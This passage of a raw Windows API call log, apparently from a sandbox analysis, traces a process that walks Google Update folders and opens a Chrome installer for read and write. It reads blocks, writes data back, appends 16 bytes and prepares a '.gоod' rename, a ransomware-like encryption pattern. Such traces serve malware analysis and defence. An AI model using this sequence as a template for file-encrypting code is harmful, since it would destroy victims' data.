ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.354] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 1 [0122.354] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0 [0122.354] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0122.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0122.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0122.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download", lpFilePart=0x0) returned 0x2e [0122.354] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 1 [0122.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.355] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0122.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0122.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0122.355] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}", lpFilePart=0x0) returned 0x55 [0122.355] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1 [0122.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0 [0122.356] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0122.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0122.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0122.356] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}", lpFilePart=0x0) returned 0x55 [0122.356] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1 [0122.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.357] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0122.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0122.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0122.357] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79", lpFilePart=0x0) returned 0x62 [0122.357] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0122.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.359] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0122.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0122.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0122.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79", lpFilePart=0x0) returned 0x62 [0122.359] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.359] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.359] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1 [0122.359] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0 [0122.360] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0122.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0122.360] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x84 [0122.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0122.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), fInfoLevelId=0x0, lpFileInformation=0x34f7be8 | out: lpFileInformation=0x34f7be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868)) returned 1 [0122.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0122.360] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x84 [0122.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0122.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.360] GetFileType (hFile=0x768) returned 0x1 [0122.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0122.360] GetFileType (hFile=0x768) returned 0x1 [0122.360] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0122.360] ReadFile (in: hFile=0x768, lpBuffer=0x34f8150, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x34f8150*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0122.362] CloseHandle (hObject=0x768) returned 1 [0122.363] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x84 [0122.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0122.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.363] GetFileType (hFile=0x768) returned 0x1 [0122.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0122.363] GetFileType (hFile=0x768) returned 0x1 [0122.363] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x2ea0868 [0122.363] WriteFile (in: hFile=0x768, lpBuffer=0x34f94b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x34f94b0*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0122.364] CloseHandle (hObject=0x768) returned 1 [0122.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x84 [0122.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0122.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.365] GetFileType (hFile=0x768) returned 0x1 [0122.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0122.365] GetFileType (hFile=0x768) returned 0x1 [0122.365] ReadFile (in: hFile=0x768, lpBuffer=0x34fcc40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x34fcc40*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0122.391] CloseHandle (hObject=0x768) returned 1 [0122.391] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x84 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0122.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0122.391] GetFileType (hFile=0x768) returned 0x1 [0122.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0122.392] GetFileType (hFile=0x768) returned 0x1 [0122.392] WriteFile (in: hFile=0x768, lpBuffer=0x34fb8f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x34fb8f0*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0122.392] CloseHandle (hObject=0x768) returned 1 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe", lpFilePart=0x0) returned 0x84 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe.gоod", lpFilePart=0x0) returned 0x89 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0122.392] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}\\61.0.3163.79\\61.0.3163.79_chrome_installer.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd42df1, 